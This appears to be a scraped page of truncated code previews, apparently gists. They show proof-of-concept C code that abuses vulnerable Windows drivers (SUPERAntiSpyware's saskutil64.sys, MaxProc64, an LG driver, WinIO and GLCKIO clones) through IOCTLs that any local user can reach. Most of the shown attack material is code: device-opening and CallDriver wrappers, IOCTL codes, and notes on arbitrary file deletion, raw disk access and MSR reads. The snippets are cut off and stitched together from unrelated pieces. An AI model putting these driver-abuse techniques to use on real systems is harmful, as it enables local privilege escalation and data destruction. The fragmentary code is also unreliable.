All parameters to the functions supplied from user-mode via DeviceIoControl parameters. Everything from this available for any local user on machine where this driver is running.
Arbitrary file deletion. Resets file attributes via ZwSetInformationFile and then does ZwDeleteFile.
Wrapper around ZwQuerySystemInformation(SystemProcessInformation).
| #pragma warning(disable: 4005) | |
| #include <windows.h> | |
| #include <strsafe.h> | |
| #include <ntstatus.h> | |
| #include "ntos.h" | |
| #if defined (_MSC_VER) | |
| #if (_MSC_VER >= 1900) | |
| #ifdef _DEBUG |
| This is saskutil64.sys 1.0.0.1016 driver of SUPERAntispyware 8.0.0.1050 (current), both Free/Pro editions. | |
| The SaskCallDriver function work with fixed size buffer send from user mode. | |
| This buffer is a structure defined as | |
| #pragma pack(push, 1) | |
| typedef struct _CALL_DRV { | |
| WCHAR DeviceName[2048]; //e.g. \Device\Harddisk0\DR0 | |
| LARGE_INTEGER StartingOffset; | |
| SIZE_T DataSize; | |
| PVOID DataPtr; //pointer to user mode allocated buffer of DataSize length. |
| int main() | |
| { | |
| HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\MaxProc64"), | |
| GENERIC_READ | GENERIC_WRITE, | |
| 0, | |
| NULL, | |
| OPEN_EXISTING, | |
| 0, | |
| NULL); |
| __int64 __fastcall DrvDispatch(PDEVICE_OBJECT DeviceObject, _IRP *Irp) | |
| { | |
| _IO_STACK_LOCATION *StackLocation; | |
| _IRP *_Irp; | |
| __int64 Id; | |
| StackLocation = Irp->Tail.Overlay.CurrentStackLocation; | |
| _Irp = Irp; | |
| switch ( StackLocation->Parameters.DeviceIoControl.IoControlCode ) | |
| { |
| #include <windows.h> | |
| #include "ntos.h" | |
| #include <cstdio> | |
| NTSTATUS CallDriver( | |
| _In_ HANDLE DeviceHandle, | |
| _In_ ULONG IoControlCode, | |
| _In_ PVOID InputBuffer, | |
| _In_ ULONG InputBufferLength, | |
| _In_opt_ PVOID OutputBuffer, |
| NTSTATUS CallDriver( | |
| _In_ HANDLE DeviceHandle, | |
| _In_ ULONG IoControlCode, | |
| _In_ PVOID InputBuffer, | |
| _In_ ULONG InputBufferLength, | |
| _In_opt_ PVOID OutputBuffer, | |
| _In_opt_ ULONG OutputBufferLength) | |
| { | |
| BOOL bResult = FALSE; | |
| IO_STATUS_BLOCK ioStatus; |
| #include <windows.h> | |
| #include <cstdio> | |
| #include "ntos.h" | |
| #define LG_DEVICE_TYPE (DWORD)0xC350 | |
| #define LG_READVALUE (DWORD)0x800 | |
| #define LG_READREFCOUNT (DWORD)0x801 | |
| #define LG_READMSR (DWORD)0x821 | |
| #define IOCTL_LG_READVALUE \ |
| #include <windows.h> | |
| #include <cstdio> | |
| #include "ntos.h" | |
| #define WINIO_DEVICE_TYPE (DWORD)0x8010 | |
| #define WINIO_READMSR (DWORD)0x816 | |
| #define IOCTL_WINIO_READMSR \ | |
| CTL_CODE(WINIO_DEVICE_TYPE, WINIO_READMSR, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| #include "ntos.h" | |
| #define GLCKIO_DEVICE_TYPE (DWORD)0x8010 //same as WinIO/MsIo and all clones based on this bugfest code | |
| #define GLCKIO_REGISTER_FUNCID (DWORD)0x818 | |
| #define GLCKIO_READMSR (DWORD)0x816 | |
| #define IOCTL_GKCKIO_REGISTER \ | |
| CTL_CODE(GLCKIO_DEVICE_TYPE, GLCKIO_REGISTER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) |